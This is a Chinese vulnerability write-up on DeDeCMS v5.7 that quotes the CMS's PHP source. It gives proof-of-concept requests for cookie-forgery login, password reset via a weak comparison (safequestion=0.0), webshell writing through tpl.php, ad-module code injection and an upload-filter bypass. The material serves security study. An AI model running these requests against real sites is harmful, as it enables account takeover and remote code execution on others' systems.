DeDeCMS-v5.7-漏洞分析
# DeDeCMS-v5.7-漏洞分析
cookie伪造导致任意前台用户登录
问题文件:/member/index.php
0×01 漏洞分析
在125-166行代码中,用于更新最近访客记录及站点统计记录的代码,当满足$vtime – $last_vtime > 3600 || !preg_match(‘#,’.$uid.’,#i’, ‘,’.$last_vid.’,')
的时候且$last_vid的值为空的时候,会令$last_vid = $uid
,然后在第164行中使用PutCookie(‘last_vid’, $last_vid, 3600*24, ‘/’)
;将cookie下发的客户端。
dede在/include/common.inc.php
中的第108-117行中,使用的外部变量注册的方法进行变量声明,因此此处的$uid是用户可控的位置。
//var_dump($_REQUEST);exit;
CheckRequest($_REQUEST);
CheckRequest($_COOKIE);
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v)
{
if($_k == 'nvarname') ${$_k} = $_v;
else ${$_k} = _RunMagicQuotes($_v);
}
}
}
跟入PutCookie方法,/include/helpers/cookie.helper.php
中的第21-29行中,发现该方法,在该方法中的第27行中将值与配置文件中的$cfg_cookie_encode进行拼接,然后进行MD5和截断处理substr(md5($cfg_cookie_encode.$value),0,16),然后下发到客户端。
/**
* 设置Cookie记录
*
* @param string $key 键
* @param string $value 值
* @param string $kptime 保持时间
* @param string $pa 保存路径
* @return void
*/
if ( ! function_exists('PutCookie'))
{
function PutCookie($key, $value, $kptime=0, $pa="/")
{
global $cfg_cookie_encode,$cfg_domain_cookie;
setcookie($key, $value, time()+$kptime, $pa,$cfg_domain_cookie);
setcookie($key.'__ckMd5', substr(md5($cfg_cookie_encode.$value),0,16), time()+$kptime, $pa,$cfg_domain_cookie);
}
}
而在文件/include/helpers/cookie.helper.php
中的第54-75行中发现GetCookie方法的代码块,其中第65行用于校验客户端cookie是否进行了伪造,因此要进行cookie就自然想到要获取/data/config.cache.inc.php
文件中的内容,需要存在任意文件读取或下载的漏洞,当然还有另外一种方式,就是利用用户第一次登录时候下发cookie的方法(PutCookie)直接生成cookie,这样的cookie定会通过cookie校验的方法(GetCookie)。
**
* 获取Cookie记录
*
* @param $key 键名
* @return string
*/
if ( ! function_exists('GetCookie'))
{
function GetCookie($key)
{
global $cfg_cookie_encode;
if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) )
{
return '';
}
else
{
if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16))
{
return '';
}
else
{
return $_COOKIE[$key];
}
}
}
}
接下来需要查看登录位置的代码块,知晓登录时候cookie的生成规则是否是PutCookie,在文件/include/memberlogin.class.php
中输入合规的loginuser和loginpwd便会执行PutLoginInfo。
//matt=10 是管理员关连的前台帐号,为了安全起见,这个帐号只能从后台登录,不能直接从前台登录
$row = $dsql->GetOne("SELECT mid,matt,pwd,logintime FROM `#@__member` WHERE userid LIKE '$loginuser' ");
if(is_array($row))
{
if($this->GetShortPwd($row['pwd']) != $this->GetEncodePwd($loginpwd))
{
return -1;
}
else
{
//管理员帐号不允许从前台登录
if($row['matt']==10) {
return -2;
}
else {
$this->PutLoginInfo($row['mid'], $row['logintime']);
return 1;
}
}
}
else
{
return 0;
}
跟入PutLoginInfo方法,在文件/include/memberlogin.class.php
中的第517-540行中发现了该方法的代码块,且在第531-539行中使用了PutCookie下发cookie。因此存在cookie的伪造漏洞。
/**
* 保存用户cookie
*
* @access public
* @param string $uid 用户ID
* @param string $logintime 登录限制时间
* @return void
*/
function PutLoginInfo($uid, $logintime=0)
{
global $cfg_login_adds, $dsql;
//登录增加积分(上一次登录时间必须大于两小时)
if(time() - $logintime > 7200 && $cfg_login_adds > 0)
{
$dsql->ExecuteNoneQuery("Update `#@__member` set `scores`=`scores`+{$cfg_login_adds} where mid='$uid' ");
}
$this->M_ID = $uid;
$this->M_LoginTime = time();
$loginip = GetIP();
$inquery = "UPDATE `#@__member` SET loginip='$loginip',logintime='".$this->M_LoginTime."' WHERE mid='".$uid."'";
$dsql->ExecuteNoneQuery($inquery);
if($this->M_KeepTime > 0)
{
PutCookie('DedeUserID',$uid,$this->M_KeepTime);
PutCookie('DedeLoginTime',$this->M_LoginTime,$this->M_KeepTime);
}
else
{
PutCookie('DedeUserID',$uid);
PutCookie('DedeLoginTime',$this->M_LoginTime);
}
}
跟入检测登录状态的代码,在文件/include/memberlogin.class.php
的第160-241行发现代码块,其中第170行检测cookie中的DedeUserID参数的值,合规在第185行中,传入数据库查询获得结果后,把结果展示在页面上。
$this->M_ID = $this->GetNum(GetCookie("DedeUserID"));
$this->M_LoginTime = GetCookie("DedeLoginTime");
$this->fields = array();
$this->isAdmin = FALSE;
if(empty($this->M_ID))
{
$this->ResetUser();
}else{
$this->M_ID = intval($this->M_ID);
if ($cache)
{
$this->fields = GetCache($this->memberCache, $this->M_ID);
if( empty($this->fields) )
{
$this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
} else {
$formcache = TRUE;
}
} else {
$this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
}
0x02 验证漏洞
访问链接获取伪造的cookie
http://127.0.0.1:9999/DedeCMS-v5.7/member/index.php?uid=user1
使用user1账号登录。
将last_vid的值赋给DedeUserID,last_vidckMd5的值赋给DedeUserIDckMd5修改后的cookie。页面刷新后跳转到admin用户中。
任意修改前台用户密码
0x01 漏洞分析
在\member\resetpassword.ph文
件中的第96-95行,其中$row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer
代码是问题的关键,默认$row['safequestion']
在数据中的内容为0,$row['safeanswer']
在数据库中的结果为空,且变量$safeanswer与$safequestion是用户可控制的变量,又使用了 ==进行判断, 因此该判断规则存在弱类型问题。
在if(empty($safequestion)) $safequestion = ”;
语句中,要使empty($safequestion)
为false且$row['safequestion'] == $safequestion
为true,可以使用字符型的0.0,进行绕过。
绕过后会进入sn的方法,跟入sn方法,在member\inc\inc_pwd_functions.php
文件中第150-172行发现代码块,且该方法会调用newmail方法。
跟入newmail方法,在member\inc\inc_pwd_functions.php
文件中第73-123行中发现代码块,然后当传入的$send为N的时候便会下发重置密码的链接,进行密码修改操作。
0x02 验证漏洞
先进行如下请求获取key
/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=1
key=tjDTYJqZ,获取到的key值是随机的
然后点击跳转链接便可以重置密码
http://192.168.1.2/dedecms-v5.7/member/resetpassword.php?dopost=getpasswd&id=1&key=tjDTYJqZ
后台文件上传+文件包含getshell
0x01 漏洞分析
漏洞代码文件dede\tpl.php
/*---------------------------
function savetagfile() { }
保存标签碎片修改
--------------------------*/
else if($action=='savetagfile')
{
csrf_check();
if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename))
{
ShowMsg('文件名不合法,不允许进行操作!', '-1');
exit();
}
require_once(DEDEINC.'/oxwindow.class.php');
$tagname = preg_replace("#\.lib\.php$#i", "", $filename);
$content = stripslashes($content);
$truefile = DEDEINC.'/taglib/'.$filename;
$fp = fopen($truefile, 'w');
fwrite($fp, $content);
fclose($fp);
}
存在csrf_check()
函数,请求中必须要带token参数。
这里的content
和filename
变量可控。在content
中直接写u人文件getshell。这里的文件名经过正则表达式,所以必须要.lib.php结尾。
0x02 验证漏洞
首先获取token
访问url:http://192.168.1.2/dedecms-v5.7/dede/tpl.php?action=upload
源代码中获取token
token值:6d0c1893e01a77e7e6ba24fb2dc7599c
然后访问url
http://192.168.1.2/dedecms-v5.7/dede/tpl.php?filename=moonsec.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=[token值]
shell
http://192.168.1.2/dedecms-v5.7/include/taglib/moonsec.lib.php
后台getshell
0x01 漏洞分析
ad_add.php
文件中没有对输入的参数htmlcode
进行过滤,在添加中嵌入恶意代码
<?php
/**
* 广告添加
*
* @version $Id: ad_add.php 1 8:26 2010年7月12日Z tianya $
* @package DedeCMS.Administrator
* @copyright Copyright (c) 2007 - 2010, DesDev, Inc.
* @license http://help.dedecms.com/usersguide/license.html
* @link http://www.dedecms.com
*/
require(dirname(__FILE__)."/config.php");
CheckPurview('plus_广告管理');
require_once DEDEINC."/typelink.class.php";
if(empty($dopost)) $dopost = "";
if($dopost=="save")
{
csrf_check();
//timeset tagname typeid normbody expbody
$tagname = trim($tagname);
$row = $dsql->GetOne("SELECT typeid FROM #@__myad WHERE typeid='$typeid' AND tagname LIKE '$tagname'");
if(is_array($row))
{
ShowMsg("在相同栏目下已经存在同名的标记!","-1");
exit();
}
$starttime = GetMkTime($starttime);
$endtime = GetMkTime($endtime);
$link = addslashes($normbody['link']);
if($normbody['style']=='code')
{
$normbody = addslashes($normbody['htmlcode']);
}
else if($normbody['style']=='txt')
{
$normbody = "<a href=\"{$link}\" font-size=\"{$normbody['size']}\" color=\"{$normbody['color']}\">{$normbody['title']}</a>";
}
else if($normbody['style']=='img')
{
if(empty($normbody['width']))
{
$width = "";
}
else
{
$width = " width=\"{$normbody['width']}\"";
}
if (empty($normbody['height']))
{
$height = "";
}
else
{
$height = "height=\"{$normbody['height']}\"";
}
$normbody = "<a href=\"{$link}\"><img src=\"{$normbody['url']}\"$width $height border=\"0\" /></a>";
}
else
{
if(empty($normbody['width']))
{
$width = "";
}
else
{
$width = " width=\"{$normbody['width']}\"";
}
if (empty($normbody['height']))
{
$height = "";
}
else
{
$height = "height=\"{$normbody['height']}\"";
}
$normbody = "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" codebase=\"http://download.Macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0\"$width $height><param name=\"movie\" value=\"{$link}\"/><param name=\"quality\" value=\"high\"/></object>";
}
$query = "
INSERT INTO #@__myad(clsid,typeid,tagname,adname,timeset,starttime,endtime,normbody,expbody)
VALUES('$clsid','$typeid','$tagname','$adname','$timeset','$starttime','$endtime','$normbody','$expbody');
";
$dsql->ExecuteNoneQuery($query);
ShowMsg("成功增加一个广告!","ad_main.php");
exit();
}
$dsql->Execute('dd','SELECT * FROM `#@__myadtype` ORDER BY id DESC');
$option = '';
while($arr = $dsql->GetArray('dd'))
{
$option .= "<option value='{$arr['id']}'>{$arr['typename']}</option>\n\r";
}
$startDay = time();
$endDay = AddDay($startDay,30);
$startDay = GetDateTimeMk($startDay);
$endDay = GetDateTimeMk($endDay);
include DedeInclude('templets/ad_add.htm');
0x02 漏洞利用
模块->广告管理->新建广告
在广告内容中恶意写入代码
在数据库中查询到写入的信息
查看在调用广告的文件
可以看到,在ad_js.php
文件调用了该条数据
查看ad_js.php
文件
<?php
/**
*
* 广告JS调用方式
*
* @version $Id: ad_js.php 1 20:30 2010年7月8日Z tianya $
* @package DedeCMS.Site
* @copyright Copyright (c) 2007 - 2010, DesDev, Inc.
* @license http://help.dedecms.com/usersguide/license.html
* @link http://www.dedecms.com
*/
require_once(dirname(__FILE__)."/../include/common.inc.php");
if(isset($arcID)) $aid = $arcID;
$arcID = $aid = (isset($aid) && is_numeric($aid)) ? $aid : 0;
if($aid==0) die(' Request Error! ');
$cacheFile = DEDEDATA.'/cache/myad-'.$aid.'.htm';
if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )
{
$row = $dsql->GetOne("SELECT * FROM `#@__myad` WHERE aid='$aid' ");
$adbody = '';
if($row['timeset']==0)
{
$adbody = $row['normbody'];
}
else
{
$ntime = time();
if($ntime > $row['endtime'] || $ntime < $row['starttime']) {
$adbody = $row['expbody'];
} else {
$adbody = $row['normbody'];
}
}
$adbody = str_replace('"', '\"',$adbody);
$adbody = str_replace("\r", "\\r",$adbody);
$adbody = str_replace("\n", "\\n",$adbody);
$adbody = "<!--\r\ndocument.write(\"{$adbody}\");\r\n-->\r\n";
$fp = fopen($cacheFile, 'w');
fwrite($fp, $adbody);
fclose($fp);
}
include $cacheFile;
然后是在网页上中执行了。
0x03 其他方式
进入后台后,通过模块->文件管理器可以实现任意文件操作。这里可以写入shell。
后台任意文件上传
0x01 漏洞分析
在文件include\dialog\select_images_post.php
的第35行-40行中,其中36行将文件名中正则匹配到的内容替换为空白,且在38行检索文件名字中是否存在白名单中的文件格式,这两种做法均不是取文件的后缀名来进行判断的,所以存在被绕过的问题。
在文件include\dialog\select_images_post.php
的第57行-64行中,取文件的后缀名进行拼接和上传操作。存在检测方式与上传文件生成方式不一致的问题,导致被绕过.
跟入$cfg_imgtype
在data\config.cache.inc.php
中的第18行发现了的上传类型格式限制。但是可以使用xxx.jpg.p%php
,或xxx.jpg.p*hp
等方式绕过,图片的格式满足config.cache.inc.php中的规定即可。
0x02 漏洞验证
利用任意前台用户登录获取管理员,
PHPSESSID=nk1k8nlbnb5oretcflg7mmuem4; last_vtime=1600325294; last_vtime__ckMd5=a7b4ab604aa23dbd; last_vid=user1; last_vid__ckMd5=3ee7a9d83316984c
在发表文章页面上传图片
抓包
修改文件名